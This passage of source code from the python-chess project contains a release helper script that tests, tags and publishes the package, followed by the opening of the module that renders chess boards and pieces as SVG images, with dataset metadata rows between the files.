#!/usr/bin/python3 # Helper script to create and publish a new python-chess release. import os import chess import sys import subprocess def system(command): print(command) exit_code = os.system(command) if exit_code != 0: sys.exit(exit_code) def check_git(): print("--- CHECK GIT ----------------------------------------------------") system("git diff --exit-code") system("git diff --cached --exit-code") system("git fetch origin") behind = int(subprocess.check_output(["git", "rev-list", "--count", "master..origin/master"])) if behind > 0: print(f"master is {behind} commit(s) behind origin/master") sys.exit(1) def test(): print("--- TEST ---------------------------------------------------------") system("tox --skip-missing-interpreters") def check_changelog(): print("--- CHECK CHANGELOG ----------------------------------------------") with open("CHANGELOG.rst", "r") as changelog_file: changelog = changelog_file.read() if "Upcoming in" in changelog: print("Found: Upcoming in") sys.exit(1) tagname = f"v{chess.__version__}" if tagname not in changelog: print(f"Not found: {tagname}") sys.exit(1) def check_docs(): print("--- CHECK DOCS ---------------------------------------------------") system("python3 setup.py --long-description | rst2html --strict --no-raw > /dev/null") def tag_and_push(): print("--- TAG AND PUSH -------------------------------------------------") tagname = f"v{chess.__version__}" release_filename = f"release-{tagname}.txt" if not os.path.exists(release_filename): print(f">>> Creating {release_filename} ...") first_section = False prev_line = None with open(release_filename, "w") as release_txt, open("CHANGELOG.rst", "r") as changelog_file: headline = f"python-chess {tagname}" release_txt.write(headline + os.linesep) for line in changelog_file: if not first_section: if line.startswith("-------"): first_section = True else: if line.startswith("-------"): break else: if not prev_line.startswith("------"): release_txt.write(prev_line) prev_line = line with open(release_filename, "r") as release_txt: release = release_txt.read().strip() + os.linesep print(release) with open(release_filename, "w") as release_txt: release_txt.write(release) guessed_tagname = input(">>> Sure? Confirm tagname: ") if guessed_tagname != tagname: print(f"Actual tagname is: {tagname}") sys.exit(1) system(f"git tag {tagname} -s -F {release_filename}") system(f"git push --atomic origin master {tagname}") return tagname def pypi(): print("--- PYPI ---------------------------------------------------------") system("rm -rf build") system("python3 setup.py sdist") system("twine check dist/*") system("twine upload --skip-existing dist/*") def github_release(tagname): print("--- GITHUB RELEASE -----------------------------------------------") print(f"https://github.com/niklasf/python-chess/releases/new?tag={tagname}") if __name__ == "__main__": check_docs() test() check_git() check_changelog() tagname = tag_and_push() pypi() github_release(tagname)
3,561
Python
.py
88
32.863636
102
0.533682
niklasf/python-chess
2,384
520
22
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,416
svg.py
niklasf_python-chess/chess/svg.py
from __future__ import annotations import math import xml.etree.ElementTree as ET import chess from typing import Dict, Iterable, Optional, Tuple, Union from chess import Color, IntoSquareSet, Square SQUARE_SIZE = 45 MARGIN = 20 PIECES = { "b": """<g id="black-bishop" class="black bishop" fill="none" fill-rule="evenodd" stroke="#000" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"><path d="M9 36c3.39-.97 10.11.43 13.5-2 3.39 2.43 10.11 1.03 13.5 2 0 0 1.65.54 3 2-.68.97-1.65.99-3 .5-3.39-.97-10.11.46-13.5-1-3.39 1.46-10.11.03-13.5 1-1.354.49-2.323.47-3-.5 1.354-1.94 3-2 3-2zm6-4c2.5 2.5 12.5 2.5 15 0 .5-1.5 0-2 0-2 0-2.5-2.5-4-2.5-4 5.5-1.5 6-11.5-5-15.5-11 4-10.5 14-5 15.5 0 0-2.5 1.5-2.5 4 0 0-.5.5 0 2zM25 8a2.5 2.5 0 1 1-5 0 2.5 2.5 0 1 1 5 0z" fill="#000" stroke-linecap="butt"/><path d="M17.5 26h10M15 30h15m-7.5-14.5v5M20 18h5" stroke="#fff" stroke-linejoin="miter"/></g>""", # noqa: E501 "k": """<g id="black-king" class="black king" fill="none" fill-rule="evenodd" stroke="#000" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"><path d="M22.5 11.63V6" stroke-linejoin="miter"/><path d="M22.5 25s4.5-7.5 3-10.5c0 0-1-2.5-3-2.5s-3 2.5-3 2.5c-1.5 3 3 10.5 3 10.5" fill="#000" stroke-linecap="butt" stroke-linejoin="miter"/><path d="M11.5 37c5.5 3.5 15.5 3.5 21 0v-7s9-4.5 6-10.5c-4-6.5-13.5-3.5-16 4V27v-3.5c-3.5-7.5-13-10.5-16-4-3 6 5 10 5 10V37z" fill="#000"/><path d="M20 8h5" stroke-linejoin="miter"/><path d="M32 29.5s8.5-4 6.03-9.65C34.15 14 25 18 22.5 24.5l.01 2.1-.01-2.1C20 18 9.906 14 6.997 19.85c-2.497 5.65 4.853 9 4.853 9M11.5 30c5.5-3 15.5-3 21 0m-21 3.5c5.5-3 15.5-3 21 0m-21 3.5c5.5-3 15.5-3 21 0" stroke="#fff"/></g>""", # noqa: E501 "n": """<g id="black-knight" class="black knight" fill="none" fill-rule="evenodd" stroke="#000" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"><path d="M 22,10 C 32.5,11 38.5,18 38,39 L 15,39 C 15,30 25,32.5 23,18" style="fill:#000000; stroke:#000000;"/><path d="M 24,18 C 24.38,20.91 18.45,25.37 16,27 C 13,29 13.18,31.34 11,31 C 9.958,30.06 12.41,27.96 11,28 C 10,28 11.19,29.23 10,30 C 9,30 5.997,31 6,26 C 6,24 12,14 12,14 C 12,14 13.89,12.1 14,10.5 C 13.27,9.506 13.5,8.5 13.5,7.5 C 14.5,6.5 16.5,10 16.5,10 L 18.5,10 C 18.5,10 19.28,8.008 21,7 C 22,7 22,10 22,10" style="fill:#000000; stroke:#000000;"/><path d="M 9.5 25.5 A 0.5 0.5 0 1 1 8.5,25.5 A 0.5 0.5 0 1 1 9.5 25.5 z" style="fill:#ececec; stroke:#ececec;"/><path d="M 15 15.5 A 0.5 1.5 0 1 1 14,15.5 A 0.5 1.5 0 1 1 15 15.5 z" transform="matrix(0.866,0.5,-0.5,0.866,9.693,-5.173)" style="fill:#ececec; stroke:#ececec;"/><path d="M 24.55,10.4 L 24.1,11.85 L 24.6,12 C 27.75,13 30.25,14.49 32.5,18.75 C 34.75,23.01 35.75,29.06 35.25,39 L 35.2,39.5 L 37.45,39.5 L 37.5,39 C 38,28.94 36.62,22.15 34.25,17.66 C 31.88,13.17 28.46,11.02 25.06,10.5 L 24.55,10.4 z " style="fill:#ececec; stroke:none;"/></g>""", # noqa: E501 "p": """<g id="black-pawn" class="black pawn"><path d="M22.5 9c-2.21 0-4 1.79-4 4 0 .89.29 1.71.78 2.38C17.33 16.5 16 18.59 16 21c0 2.03.94 3.84 2.41 5.03-3 1.06-7.41 5.55-7.41 13.47h23c0-7.92-4.41-12.41-7.41-13.47 1.47-1.19 2.41-3 2.41-5.03 0-2.41-1.33-4.5-3.28-5.62.49-.67.78-1.49.78-2.38 0-2.21-1.79-4-4-4z" fill="#000" stroke="#000" stroke-width="1.5" stroke-linecap="round"/></g>""", # noqa: E501 "q": """<g id="black-queen" class="black queen" fill="#000" fill-rule="evenodd" stroke="#000" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"><g fill="#000" stroke="none"><circle cx="6" cy="12" r="2.75"/><circle cx="14" cy="9" r="2.75"/><circle cx="22.5" cy="8" r="2.75"/><circle cx="31" cy="9" r="2.75"/><circle cx="39" cy="12" r="2.75"/></g><path d="M9 26c8.5-1.5 21-1.5 27 0l2.5-12.5L31 25l-.3-14.1-5.2 13.6-3-14.5-3 14.5-5.2-13.6L14 25 6.5 13.5 9 26zM9 26c0 2 1.5 2 2.5 4 1 1.5 1 1 .5 3.5-1.5 1-1.5 2.5-1.5 2.5-1.5 1.5.5 2.5.5 2.5 6.5 1 16.5 1 23 0 0 0 1.5-1 0-2.5 0 0 .5-1.5-1-2.5-.5-2.5-.5-2 .5-3.5 1-2 2.5-2 2.5-4-8.5-1.5-18.5-1.5-27 0z" stroke-linecap="butt"/><path d="M11 38.5a35 35 1 0 0 23 0" fill="none" stroke-linecap="butt"/><path d="M11 29a35 35 1 0 1 23 0M12.5 31.5h20M11.5 34.5a35 35 1 0 0 22 0M10.5 37.5a35 35 1 0 0 24 0" fill="none" stroke="#fff"/></g>""", # noqa: E501 "r": """<g id="black-rook" class="black rook" fill="#000" fill-rule="evenodd" stroke="#000" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"><path d="M9 39h27v-3H9v3zM12.5 32l1.5-2.5h17l1.5 2.5h-20zM12 36v-4h21v4H12z" stroke-linecap="butt"/><path d="M14 29.5v-13h17v13H14z" stroke-linecap="butt" stroke-linejoin="miter"/><path d="M14 16.5L11 14h23l-3 2.5H14zM11 14V9h4v2h5V9h5v2h5V9h4v5H11z" stroke-linecap="butt"/><path d="M12 35.5h21M13 31.5h19M14 29.5h17M14 16.5h17M11 14h23" fill="none" stroke="#fff" stroke-width="1" stroke-linejoin="miter"/></g>""", # noqa: E501 "B": """<g id="white-bishop" class="white bishop" fill="none" fill-rule="evenodd" stroke="#000" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"><g fill="#fff" stroke-linecap="butt"><path d="M9 36c3.39-.97 10.11.43 13.5-2 3.39 2.43 10.11 1.03 13.5 2 0 0 1.65.54 3 2-.68.97-1.65.99-3 .5-3.39-.97-10.11.46-13.5-1-3.39 1.46-10.11.03-13.5 1-1.354.49-2.323.47-3-.5 1.354-1.94 3-2 3-2zM15 32c2.5 2.5 12.5 2.5 15 0 .5-1.5 0-2 0-2 0-2.5-2.5-4-2.5-4 5.5-1.5 6-11.5-5-15.5-11 4-10.5 14-5 15.5 0 0-2.5 1.5-2.5 4 0 0-.5.5 0 2zM25 8a2.5 2.5 0 1 1-5 0 2.5 2.5 0 1 1 5 0z"/></g><path d="M17.5 26h10M15 30h15m-7.5-14.5v5M20 18h5" stroke-linejoin="miter"/></g>""", # noqa: E501 "K": """<g id="white-king" class="white king" fill="none" fill-rule="evenodd" stroke="#000" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"><path d="M22.5 11.63V6M20 8h5" stroke-linejoin="miter"/><path d="M22.5 25s4.5-7.5 3-10.5c0 0-1-2.5-3-2.5s-3 2.5-3 2.5c-1.5 3 3 10.5 3 10.5" fill="#fff" stroke-linecap="butt" stroke-linejoin="miter"/><path d="M11.5 37c5.5 3.5 15.5 3.5 21 0v-7s9-4.5 6-10.5c-4-6.5-13.5-3.5-16 4V27v-3.5c-3.5-7.5-13-10.5-16-4-3 6 5 10 5 10V37z" fill="#fff"/><path d="M11.5 30c5.5-3 15.5-3 21 0m-21 3.5c5.5-3 15.5-3 21 0m-21 3.5c5.5-3 15.5-3 21 0"/></g>""", # noqa: E501 "N": """<g id="white-knight" class="white knight" fill="none" fill-rule="evenodd" stroke="#000" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"><path d="M 22,10 C 32.5,11 38.5,18 38,39 L 15,39 C 15,30 25,32.5 23,18" style="fill:#ffffff; stroke:#000000;"/><path d="M 24,18 C 24.38,20.91 18.45,25.37 16,27 C 13,29 13.18,31.34 11,31 C 9.958,30.06 12.41,27.96 11,28 C 10,28 11.19,29.23 10,30 C 9,30 5.997,31 6,26 C 6,24 12,14 12,14 C 12,14 13.89,12.1 14,10.5 C 13.27,9.506 13.5,8.5 13.5,7.5 C 14.5,6.5 16.5,10 16.5,10 L 18.5,10 C 18.5,10 19.28,8.008 21,7 C 22,7 22,10 22,10" style="fill:#ffffff; stroke:#000000;"/><path d="M 9.5 25.5 A 0.5 0.5 0 1 1 8.5,25.5 A 0.5 0.5 0 1 1 9.5 25.5 z" style="fill:#000000; stroke:#000000;"/><path d="M 15 15.5 A 0.5 1.5 0 1 1 14,15.5 A 0.5 1.5 0 1 1 15 15.5 z" transform="matrix(0.866,0.5,-0.5,0.866,9.693,-5.173)" style="fill:#000000; stroke:#000000;"/></g>""", # noqa: E501 "P": """<g id="white-pawn" class="white pawn"><path d="M22.5 9c-2.21 0-4 1.79-4 4 0 .89.29 1.71.78 2.38C17.33 16.5 16 18.59 16 21c0 2.03.94 3.84 2.41 5.03-3 1.06-7.41 5.55-7.41 13.47h23c0-7.92-4.41-12.41-7.41-13.47 1.47-1.19 2.41-3 2.41-5.03 0-2.41-1.33-4.5-3.28-5.62.49-.67.78-1.49.78-2.38 0-2.21-1.79-4-4-4z" fill="#fff" stroke="#000" stroke-width="1.5" stroke-linecap="round"/></g>""", # noqa: E501 "Q": """<g id="white-queen" class="white queen" fill="#fff" fill-rule="evenodd" stroke="#000" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"><path d="M8 12a2 2 0 1 1-4 0 2 2 0 1 1 4 0zM24.5 7.5a2 2 0 1 1-4 0 2 2 0 1 1 4 0zM41 12a2 2 0 1 1-4 0 2 2 0 1 1 4 0zM16 8.5a2 2 0 1 1-4 0 2 2 0 1 1 4 0zM33 9a2 2 0 1 1-4 0 2 2 0 1 1 4 0z"/><path d="M9 26c8.5-1.5 21-1.5 27 0l2-12-7 11V11l-5.5 13.5-3-15-3 15-5.5-14V25L7 14l2 12zM9 26c0 2 1.5 2 2.5 4 1 1.5 1 1 .5 3.5-1.5 1-1.5 2.5-1.5 2.5-1.5 1.5.5 2.5.5 2.5 6.5 1 16.5 1 23 0 0 0 1.5-1 0-2.5 0 0 .5-1.5-1-2.5-.5-2.5-.5-2 .5-3.5 1-2 2.5-2 2.5-4-8.5-1.5-18.5-1.5-27 0z" stroke-linecap="butt"/><path d="M11.5 30c3.5-1 18.5-1 22 0M12 33.5c6-1 15-1 21 0" fill="none"/></g>""", # noqa: E501 "R": """<g id="white-rook" class="white rook" fill="#fff" fill-rule="evenodd" stroke="#000" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"><path d="M9 39h27v-3H9v3zM12 36v-4h21v4H12zM11 14V9h4v2h5V9h5v2h5V9h4v5" stroke-linecap="butt"/><path d="M34 14l-3 3H14l-3-3"/><path d="M31 17v12.5H14V17" stroke-linecap="butt" stroke-linejoin="miter"/><path d="M31 29.5l1.5 2.5h-20l1.5-2.5"/><path d="M11 14h23" fill="none" stroke-linejoin="miter"/></g>""", # noqa: E501 } COORDS = { "1": """<path d="M6.754 26.996h2.578v-8.898l-2.805.562v-1.437l2.79-.563h1.578v10.336h2.578v1.328h-6.72z"/>""", # noqa: E501 "2": """<path d="M8.195 26.996h5.508v1.328H6.297v-1.328q.898-.93 2.445-2.492 1.555-1.57 1.953-2.024.758-.851 1.055-1.437.305-.594.305-1.164 0-.93-.657-1.516-.648-.586-1.695-.586-.742 0-1.57.258-.82.258-1.758.781v-1.593q.953-.383 1.781-.578.828-.196 1.516-.196 1.812 0 2.89.906 1.079.907 1.079 2.422 0 .72-.274 1.368-.265.64-.976 1.515-.196.227-1.243 1.313-1.046 1.078-2.953 3.023z"/>""", # noqa: E501 "3": """<path d="M11.434 22.035q1.132.242 1.765 1.008.64.766.64 1.89 0 1.727-1.187 2.672-1.187.946-3.375.946-.734 0-1.515-.149-.774-.14-1.602-.43V26.45q.656.383 1.438.578.78.196 1.632.196 1.485 0 2.258-.586.782-.586.782-1.703 0-1.032-.727-1.61-.719-.586-2.008-.586h-1.36v-1.297h1.423q1.164 0 1.78-.46.618-.47.618-1.344 0-.899-.64-1.375-.633-.485-1.82-.485-.65 0-1.391.141-.743.14-1.633.437V16.95q.898-.25 1.68-.375.788-.125 1.484-.125 1.797 0 2.844.82 1.046.813 1.046 2.204 0 .968-.554 1.64-.555.664-1.578.922z"/>""", # noqa: E501 "4": """<path d="M11.016 18.035L7.03 24.262h3.985zm-.414-1.375h1.984v7.602h1.664v1.312h-1.664v2.75h-1.57v-2.75H5.75v-1.523z"/>""", # noqa: E501 "5": """<path d="M6.719 16.66h6.195v1.328h-4.75v2.86q.344-.118.688-.172.343-.063.687-.063 1.953 0 3.094 1.07 1.14 1.07 1.14 2.899 0 1.883-1.171 2.93-1.172 1.039-3.305 1.039-.735 0-1.5-.125-.758-.125-1.57-.375v-1.586q.703.383 1.453.57.75.188 1.586.188 1.351 0 2.14-.711.79-.711.79-1.93 0-1.219-.79-1.93-.789-.71-2.14-.71-.633 0-1.266.14-.625.14-1.281.438z"/>""", # noqa: E501 "6": """<path d="M10.137 21.863q-1.063 0-1.688.727-.617.726-.617 1.992 0 1.258.617 1.992.625.727 1.688.727 1.062 0 1.68-.727.624-.734.624-1.992 0-1.266-.625-1.992-.617-.727-1.68-.727zm3.133-4.945v1.437q-.594-.28-1.204-.43-.601-.148-1.195-.148-1.562 0-2.39 1.055-.82 1.055-.938 3.188.46-.68 1.156-1.04.696-.367 1.531-.367 1.758 0 2.774 1.07 1.023 1.063 1.023 2.899 0 1.797-1.062 2.883-1.063 1.086-2.828 1.086-2.024 0-3.094-1.547-1.07-1.555-1.07-4.5 0-2.766 1.312-4.406 1.313-1.649 3.524-1.649.593 0 1.195.117.61.118 1.266.352z"/>""", # noqa: E501 "7": """<path d="M6.25 16.66h7.5v.672L9.516 28.324H7.867l3.985-10.336H6.25z"/>""", # noqa: E501 "8": """<path d="M10 22.785q-1.125 0-1.773.602-.641.601-.641 1.656t.64 1.656q.649.602 1.774.602t1.773-.602q.649-.61.649-1.656 0-1.055-.649-1.656-.64-.602-1.773-.602zm-1.578-.672q-1.016-.25-1.586-.945-.563-.695-.563-1.695 0-1.399.993-2.211 1-.813 2.734-.813 1.742 0 2.734.813.993.812.993 2.21 0 1-.57 1.696-.563.695-1.571.945 1.14.266 1.773 1.04.641.773.641 1.89 0 1.695-1.04 2.602-1.03.906-2.96.906t-2.969-.906Q6 26.738 6 25.043q0-1.117.64-1.89.641-.774 1.782-1.04zm-.578-2.492q0 .906.562 1.414.57.508 1.594.508 1.016 0 1.586-.508.578-.508.578-1.414 0-.906-.578-1.414-.57-.508-1.586-.508-1.023 0-1.594.508-.562.508-.562 1.414z"/>""", # noqa: E501 "a": """<path d="M23.328 10.016q-1.742 0-2.414.398-.672.398-.672 1.36 0 .765.5 1.218.508.445 1.375.445 1.196 0 1.914-.843.727-.852.727-2.258v-.32zm2.867-.594v4.992h-1.437v-1.328q-.492.797-1.227 1.18-.734.375-1.797.375-1.343 0-2.14-.75-.79-.758-.79-2.024 0-1.476.985-2.226.992-.75 2.953-.75h2.016V8.75q0-.992-.656-1.531-.649-.547-1.829-.547-.75 0-1.46.18-.711.18-1.368.539V6.062q.79-.304 1.532-.453.742-.156 1.445-.156 1.898 0 2.836.984.937.985.937 2.985z"/>""", # noqa: E501 "b": """<path d="M24.922 10.047q0-1.586-.656-2.485-.649-.906-1.79-.906-1.14 0-1.796.906-.649.899-.649 2.485 0 1.586.649 2.492.656.898 1.797.898 1.14 0 1.789-.898.656-.906.656-2.492zm-4.89-3.055q.452-.781 1.14-1.156.695-.383 1.656-.383 1.594 0 2.586 1.266 1 1.265 1 3.328 0 2.062-1 3.328-.992 1.266-2.586 1.266-.96 0-1.656-.375-.688-.383-1.14-1.164v1.312h-1.446V2.258h1.445z"/>""", # noqa: E501 "c": """<path d="M25.96 6v1.344q-.608-.336-1.226-.5-.609-.172-1.234-.172-1.398 0-2.172.89-.773.883-.773 2.485 0 1.601.773 2.492.774.883 2.172.883.625 0 1.234-.164.618-.172 1.227-.508v1.328q-.602.281-1.25.422-.64.14-1.367.14-1.977 0-3.14-1.242-1.165-1.242-1.165-3.351 0-2.14 1.172-3.367 1.18-1.227 3.227-1.227.664 0 1.296.14.633.134 1.227.407z"/>""", # noqa: E501 "d": """<path d="M24.973 6.992V2.258h1.437v12.156h-1.437v-1.312q-.453.78-1.149 1.164-.687.375-1.656.375-1.586 0-2.586-1.266-.992-1.266-.992-3.328 0-2.063.992-3.328 1-1.266 2.586-1.266.969 0 1.656.383.696.375 1.149 1.156zm-4.899 3.055q0 1.586.649 2.492.656.898 1.797.898 1.14 0 1.796-.898.657-.906.657-2.492 0-1.586-.657-2.485-.656-.906-1.796-.906-1.141 0-1.797.906-.649.899-.649 2.485z"/>""", # noqa: E501 "e": """<path d="M26.555 9.68v.703h-6.61q.094 1.484.89 2.265.806.774 2.235.774.828 0 1.602-.203.781-.203 1.547-.61v1.36q-.774.328-1.586.5-.813.172-1.649.172-2.093 0-3.32-1.22-1.219-1.218-1.219-3.296 0-2.148 1.157-3.406 1.164-1.266 3.132-1.266 1.766 0 2.79 1.14 1.03 1.134 1.03 3.087zm-1.438-.422q-.015-1.18-.664-1.883-.64-.703-1.703-.703-1.203 0-1.93.68-.718.68-.828 1.914z"/>""", # noqa: E501 "f": """<path d="M25.285 2.258v1.195H23.91q-.773 0-1.078.313-.297.312-.297 1.125v.773h2.367v1.117h-2.367v7.633H21.09V6.781h-1.375V5.664h1.375v-.61q0-1.46.68-2.124.68-.672 2.156-.672z"/>""", # noqa: E501 "g": """<path d="M24.973 9.937q0-1.562-.649-2.421-.64-.86-1.804-.86-1.157 0-1.805.86-.64.859-.64 2.421 0 1.555.64 2.415.648.859 1.805.859 1.164 0 1.804-.86.649-.859.649-2.414zm1.437 3.391q0 2.234-.992 3.32-.992 1.094-3.04 1.094-.757 0-1.429-.117-.672-.11-1.304-.344v-1.398q.632.344 1.25.508.617.164 1.257.164 1.414 0 2.118-.743.703-.734.703-2.226v-.711q-.446.773-1.141 1.156-.695.383-1.664.383-1.61 0-2.594-1.227-.984-1.226-.984-3.25 0-2.03.984-3.257.985-1.227 2.594-1.227.969 0 1.664.383t1.14 1.156V5.664h1.438z"/>""", # noqa: E501 "h": """<path d="M26.164 9.133v5.281h-1.437V9.18q0-1.243-.485-1.86-.484-.617-1.453-.617-1.164 0-1.836.742-.672.742-.672 2.024v4.945h-1.445V2.258h1.445v4.765q.516-.789 1.211-1.18.703-.39 1.617-.39 1.508 0 2.282.938.773.93.773 2.742z"/>""", # noqa: E501 } XX = """<g id="xx"><path d="M35.865 9.135a1.89 1.89 0 0 1 0 2.673L25.173 22.5l10.692 10.692a1.89 1.89 0 0 1 0 2.673 1.89 1.89 0 0 1-2.673 0L22.5 25.173 11.808 35.865a1.89 1.89 0 0 1-2.673 0 1.89 1.89 0 0 1 0-2.673L19.827 22.5 9.135 11.808a1.89 1.89 0 0 1 0-2.673 1.89 1.89 0 0 1 2.673 0L22.5 19.827 33.192 9.135a1.89 1.89 0 0 1 2.673 0z" fill="#000" stroke="#fff" stroke-width="1.688"/></g>""" # noqa: E501 CHECK_GRADIENT = """<radialGradient id="check_gradient" r="0.5"><stop offset="0%" stop-color="#ff0000" stop-opacity="1.0" /><stop offset="50%" stop-color="#e70000" stop-opacity="1.0" /><stop offset="100%" stop-color="#9e0000" stop-opacity="0.0" /></radialGradient>""" # noqa: E501 DEFAULT_COLORS = { "square light": "#ffce9e", "square dark": "#d18b47", "square dark lastmove": "#aaa23b", "square light lastmove": "#cdd16a", "margin": "#212121", "inner border": "#111", "outer border": "#111", "coord": "#e5e5e5", "arrow green": "#15781B80", "arrow red": "#88202080", "arrow yellow": "#e68f00b3", "arrow blue": "#00308880", } class Arrow: """Details of an arrow to be drawn.""" tail: Square """Start square of the arrow.""" head: Square """End square of the arrow.""" color: str """Arrow color.""" def __init__(self, tail: Square, head: Square, *, color: str = "green") -> None: self.tail = tail self.head = head self.color = color def pgn(self) -> str: """ Returns the arrow in the format used by ``[%csl ...]`` and ``[%cal ...]`` PGN annotations, e.g., ``Ga1`` or ``Ya2h2``. Colors other than ``red``, ``yellow``, and ``blue`` default to green. """ if self.color == "red": color = "R" elif self.color == "yellow": color = "Y" elif self.color == "blue": color = "B" else: color = "G" if self.tail == self.head: return f"{color}{chess.SQUARE_NAMES[self.tail]}" else: return f"{color}{chess.SQUARE_NAMES[self.tail]}{chess.SQUARE_NAMES[self.head]}" def __str__(self) -> str: return self.pgn() def __repr__(self) -> str: return f"Arrow({chess.SQUARE_NAMES[self.tail].upper()}, {chess.SQUARE_NAMES[self.head].upper()}, color={self.color!r})" @classmethod def from_pgn(cls, pgn: str) -> Arrow: """ Parses an arrow from the format used by ``[%csl ...]`` and ``[%cal ...]`` PGN annotations, e.g., ``Ga1`` or ``Ya2h2``. Also allows skipping the color prefix, defaulting to green. :raises: :exc:`ValueError` if the format is invalid. """ if pgn.startswith("G"): color = "green" pgn = pgn[1:] elif pgn.startswith("R"): color = "red" pgn = pgn[1:] elif pgn.startswith("Y"): color = "yellow" pgn = pgn[1:] elif pgn.startswith("B"): color = "blue" pgn = pgn[1:] else: color = "green" tail = chess.parse_square(pgn[:2]) head = chess.parse_square(pgn[2:]) if len(pgn) > 2 else tail return cls(tail, head, color=color) class SvgWrapper(str): def _repr_svg_(self) -> SvgWrapper: return self def _repr_html_(self) -> SvgWrapper: return self def _svg(viewbox: int, size: Optional[int]) -> ET.Element: svg = ET.Element("svg", { "xmlns": "http://www.w3.org/2000/svg", "xmlns:xlink": "http://www.w3.org/1999/xlink", "viewBox": f"0 0 {viewbox:d} {viewbox:d}", }) if size is not None: svg.set("width", str(size)) svg.set("height", str(size)) return svg def _attrs(attrs: Dict[str, Union[str, int, float, None]]) -> Dict[str, str]: return {k: str(v) for k, v in attrs.items() if v is not None} def _select_color(colors: Dict[str, str], color: str) -> Tuple[str, float]: return _color(colors.get(color, DEFAULT_COLORS[color])) def _color(color: str) -> Tuple[str, float]: if color.startswith("#"): try: if len(color) == 5: return color[:4], int(color[4], 16) / 0xf elif len(color) == 9: return color[:7], int(color[7:], 16) / 0xff except ValueError: pass # Ignore invalid hex value return color, 1.0 def _coord(text: str, x: int, y: int, width: int, height: int, horizontal: bool, margin: int, *, color: str, opacity: float) -> ET.Element: scale = margin / MARGIN if horizontal: x += int(width - scale * width) // 2 else: y += int(height - scale * height) // 2 t = ET.Element("g", _attrs({ "transform": f"translate({x}, {y}) scale({scale}, {scale})", "fill": color, "stroke": color, "opacity": opacity if opacity < 1.0 else None, })) t.append(ET.fromstring(COORDS[text])) return t def piece(piece: chess.Piece, size: Optional[int] = None) -> str: """ Renders the given :class:`chess.Piece` as an SVG image. >>> import chess >>> import chess.svg >>> >>> chess.svg.piece(chess.Piece.from_symbol("R")) # doctest: +SKIP .. image:: ../docs/wR.svg :alt: R """ svg = _svg(SQUARE_SIZE, size) svg.append(ET.fromstring(PIECES[piece.symbol()])) return SvgWrapper(ET.tostring(svg).decode("utf-8")) def board(board: Optional[chess.BaseBoard] = None, *, orientation: Color = chess.WHITE, lastmove: Optional[chess.Move] = None, check: Optional[Square] = None, arrows: Iterable[Union[Arrow, Tuple[Square, Square]]] = [], fill: Dict[Square, str] = {}, squares: Optional[IntoSquareSet] = None, size: Optional[int] = None, coordinates: bool = True, colors: Dict[str, str] = {}, borders: bool = False, style: Optional[str] = None) -> str: """ Renders a board with pieces and/or selected squares as an SVG image. :param board: A :class:`chess.BaseBoard` for a chessboard with pieces, or ``None`` (the default) for a chessboard without pieces. :param orientation: The point of view, defaulting to ``chess.WHITE``. :param lastmove: A :class:`chess.Move` to be highlighted. :param check: A square to be marked indicating a check. :param arrows: A list of :class:`~chess.svg.Arrow` objects, like ``[chess.svg.Arrow(chess.E2, chess.E4)]``, or a list of tuples, like ``[(chess.E2, chess.E4)]``. An arrow from a square pointing to the same square is drawn as a circle, like ``[(chess.E2, chess.E2)]``. :param fill: A dictionary mapping squares to a colors that they should be filled with. :param squares: A :class:`chess.SquareSet` with selected squares to mark with an X. :param size: The size of the image in pixels (e.g., ``400`` for a 400 by 400 board), or ``None`` (the default) for no size limit. :param coordinates: Pass ``False`` to disable the coordinate margin. :param colors: A dictionary to override default colors. Possible keys are ``square light``, ``square dark``, ``square light lastmove``, ``square dark lastmove``, ``margin``, ``coord``, ``inner border``, ``outer border``, ``arrow green``, ``arrow blue``, ``arrow red``, and ``arrow yellow``. Values should look like ``#ffce9e`` (opaque), or ``#15781B80`` (transparent). :param borders: Pass ``True`` to enable a border around the board and, (if *coordinates* is enabled) the coordinate margin. :param style: A CSS stylesheet to include in the SVG image. >>> import chess >>> import chess.svg >>> >>> board = chess.Board("8/8/8/8/4N3/8/8/8 w - - 0 1") >>> >>> chess.svg.board( ... board, ... fill=dict.fromkeys(board.attacks(chess.E4), "#cc0000cc"), ... arrows=[chess.svg.Arrow(chess.E4, chess.F6, color="#0000cccc")], ... squares=chess.SquareSet(chess.BB_DARK_SQUARES & chess.BB_FILE_B), ... size=350, ... ) # doctest: +SKIP .. image:: ../docs/Ne4.svg :alt: 8/8/8/8/4N3/8/8/8 """ inner_border = 1 if borders and coordinates else 0 outer_border = 1 if borders else 0 margin = 15 if coordinates else 0 board_offset = inner_border + margin + outer_border full_size = 2 * outer_border + 2 * margin + 2 * inner_border + 8 * SQUARE_SIZE svg = _svg(full_size, size) if style: ET.SubElement(svg, "style").text = style if board: desc = ET.SubElement(svg, "desc") asciiboard = ET.SubElement(desc, "pre") asciiboard.text = str(board) defs = ET.SubElement(svg, "defs") if board: for piece_color in chess.COLORS: for piece_type in chess.PIECE_TYPES: if board.pieces_mask(piece_type, piece_color): defs.append(ET.fromstring(PIECES[chess.Piece(piece_type, piece_color).symbol()])) squares = chess.SquareSet(squares) if squares else chess.SquareSet() if squares: defs.append(ET.fromstring(XX)) if check is not None: defs.append(ET.fromstring(CHECK_GRADIENT)) if outer_border: outer_border_color, outer_border_opacity = _select_color(colors, "outer border") ET.SubElement(svg, "rect", _attrs({ "x": outer_border / 2, "y": outer_border / 2, "width": full_size - outer_border, "height": full_size - outer_border, "fill": "none", "stroke": outer_border_color, "stroke-width": outer_border, "opacity": outer_border_opacity if outer_border_opacity < 1.0 else None, })) if margin: margin_color, margin_opacity = _select_color(colors, "margin") ET.SubElement(svg, "rect", _attrs({ "x": outer_border + margin / 2, "y": outer_border + margin / 2, "width": full_size - 2 * outer_border - margin, "height": full_size - 2 * outer_border - margin, "fill": "none", "stroke": margin_color, "stroke-width": margin, "opacity": margin_opacity if margin_opacity < 1.0 else None, })) if inner_border: inner_border_color, inner_border_opacity = _select_color(colors, "inner border") ET.SubElement(svg, "rect", _attrs({ "x": outer_border + margin + inner_border / 2, "y": outer_border + margin + inner_border / 2, "width": full_size - 2 * outer_border - 2 * margin - 